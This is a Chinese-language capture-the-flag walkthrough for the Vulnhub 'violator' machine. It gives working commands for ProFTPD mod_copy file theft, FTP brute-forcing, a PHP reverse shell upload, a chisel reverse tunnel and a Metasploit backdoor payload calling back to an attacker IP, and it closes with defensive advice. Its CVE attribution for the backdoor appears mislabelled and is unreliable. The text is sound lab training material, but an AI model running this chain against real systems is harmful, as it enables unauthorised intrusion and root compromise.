[Vulnhub] violator ProFTPD+权限提升
字数 1196 2025-08-19 12:41:03

ProFTPD 1.3.5rc3 漏洞利用与权限提升完整指南

1. 信息收集阶段

1.1 初始扫描

使用Nmap进行端口扫描:

nmap -p- 192.168.101.148 --min-rate 1000 -sC -sV

扫描结果:

  • 21/tcp: ProFTPD 1.3.5rc3
  • 80/tcp: Apache httpd 2.4.7 (Ubuntu)
  • 2121/tcp: 未明确服务

1.2 Web服务探测

访问HTTP服务:

http://192.168.101.148/

页面标题:"I Say... I say... I say Boy! You pumpin' for oil or somethin'...?"

2. ProFTPD漏洞利用

2.1 利用SITE CPFR/CPTO漏洞

ProFTPD 1.3.5rc3存在目录遍历漏洞,允许读取任意文件:

ftp> site cpfr /proc/self/root
ftp> site cpto /var/www/html/root

通过Web访问泄露的文件:

http://192.168.101.148/root/
http://192.168.101.148/root/etc/passwd

2.2 密码字典生成

使用cewl从网页生成密码字典:

cewl -v 'https://en.wikipedia.org/wiki/Violator_(album)' -d 1 -w violator.txt
sed 's/ //g' violator.txt > violator_nospaces
cut -d'"' -f2 violator_nospaces | tr '[:upper:]' '[:lower:]' > password.txt

2.3 FTP暴力破解

使用hydra进行FTP暴力破解:

hydra -L username.txt -P password.txt ftp://192.168.101.148

成功获取的凭据:

  • 用户名: af 密码: enjoythesilence
  • 用户名: dg 密码: policyoftruth

3. 初始访问

3.1 上传Web Shell

使用获取的FTP凭据上传PHP反向Shell:

cp /usr/share/webshells/php/php-reverse-shell.php /var/www/html
ftp 192.168.101.148
ftp> put /var/www/html/php-reverse-shell.php

访问Web Shell触发反向连接:

http://192.168.101.148/php-reverse-shell.php

3.2 获取交互式Shell

在获得的Web Shell中升级为完全交互式终端:

python -c 'import pty;pty.spawn("/bin/bash")'

4. 权限提升

4.1 横向移动

切换到dg用户:

su dg
密码: policyoftruth

4.2 检查sudo权限

sudo -l

4.3 利用ProFTPD后门

发现可以执行特定路径的ProFTPD:

sudo /home/dg/bd/sbin/proftpd

检查本地监听端口:

netstat -lnput
发现2121端口已开放

4.4 端口转发

使用chisel进行端口转发:
攻击机:

chisel server -p 8000 --reverse

目标机:

./chisel client 192.168.101.128:8000 R:2121:127.0.0.1:2121&

4.5 利用Metasploit攻击后门

msfconsole
use exploit/unix/ftp/proftpd_133c_backdoor
set payload cmd/unix/reverse_perl
set lhost 192.168.101.128
set rhost 127.0.0.1
set rport 2121
exploit

5. 获取最终flag

5.1 读取flag文件

cat /root/flag.txt

5.2 传输文件

在目标机启动HTTP服务:

python3 -m http.server 9999

5.3 破解压缩包密码

rar2john crocs.rar > hash
john hash --wordlist=../Desktop/password.txt
获取密码: World in My Eyes
unrar x crocs.rar

5.4 图片信息分析

使用工具分析图片:

exiftool artwork.jpg

使用ImageToAscii工具:

https://github.com/MartinxMax/ImageToAscii

5.5 解密Enigma密码

使用在线工具解密:

https://www.dcode.fr/enigma-machine-cipher
解密结果: BGHX

6. 关键发现总结

  1. ProFTPD 1.3.5rc3存在两个关键漏洞:

    • SITE CPFR/CPTO目录遍历漏洞
    • 后门漏洞(CVE-2006-5815)
  2. 密码策略分析:

    • 密码与Depeche Mode专辑"Violator"相关
    • 使用专辑相关词汇生成字典成功破解
  3. 权限提升路径:

    • 通过Web Shell获取初始访问
    • 利用FTP凭据横向移动
    • 滥用sudo权限执行特定ProFTPD二进制文件
    • 利用后门获取root权限
  4. 最终flag获取涉及多层挑战:

    • 压缩包密码破解
    • 图片隐写分析
    • Enigma密码解密

7. 防御建议

  1. 及时更新ProFTPD到最新版本
  2. 禁用不必要的SITE命令
  3. 实施严格的sudo权限控制
  4. 使用强密码策略,避免与系统主题相关的弱密码
  5. 定期进行漏洞扫描和安全审计
  6. 限制FTP用户的文件系统访问范围
  7. 监控异常的网络连接和端口开放情况
ProFTPD 1.3.5rc3 漏洞利用与权限提升完整指南 1. 信息收集阶段 1.1 初始扫描 使用Nmap进行端口扫描: 扫描结果: 21/tcp: ProFTPD 1.3.5rc3 80/tcp: Apache httpd 2.4.7 (Ubuntu) 2121/tcp: 未明确服务 1.2 Web服务探测 访问HTTP服务: 页面标题:"I Say... I say... I say Boy ! You pumpin' for oil or somethin'...?" 2. ProFTPD漏洞利用 2.1 利用SITE CPFR/CPTO漏洞 ProFTPD 1.3.5rc3存在目录遍历漏洞,允许读取任意文件: 通过Web访问泄露的文件: 2.2 密码字典生成 使用cewl从网页生成密码字典: 2.3 FTP暴力破解 使用hydra进行FTP暴力破解: 成功获取的凭据: 用户名: af 密码: enjoythesilence 用户名: dg 密码: policyoftruth 3. 初始访问 3.1 上传Web Shell 使用获取的FTP凭据上传PHP反向Shell: 访问Web Shell触发反向连接: 3.2 获取交互式Shell 在获得的Web Shell中升级为完全交互式终端: 4. 权限提升 4.1 横向移动 切换到dg用户: 4.2 检查sudo权限 4.3 利用ProFTPD后门 发现可以执行特定路径的ProFTPD: 检查本地监听端口: 4.4 端口转发 使用chisel进行端口转发: 攻击机: 目标机: 4.5 利用Metasploit攻击后门 5. 获取最终flag 5.1 读取flag文件 5.2 传输文件 在目标机启动HTTP服务: 5.3 破解压缩包密码 5.4 图片信息分析 使用工具分析图片: 使用ImageToAscii工具: 5.5 解密Enigma密码 使用在线工具解密: 6. 关键发现总结 ProFTPD 1.3.5rc3存在两个关键漏洞: SITE CPFR/CPTO目录遍历漏洞 后门漏洞(CVE-2006-5815) 密码策略分析: 密码与Depeche Mode专辑"Violator"相关 使用专辑相关词汇生成字典成功破解 权限提升路径: 通过Web Shell获取初始访问 利用FTP凭据横向移动 滥用sudo权限执行特定ProFTPD二进制文件 利用后门获取root权限 最终flag获取涉及多层挑战: 压缩包密码破解 图片隐写分析 Enigma密码解密 7. 防御建议 及时更新ProFTPD到最新版本 禁用不必要的SITE命令 实施严格的sudo权限控制 使用强密码策略,避免与系统主题相关的弱密码 定期进行漏洞扫描和安全审计 限制FTP用户的文件系统访问范围 监控异常的网络连接和端口开放情况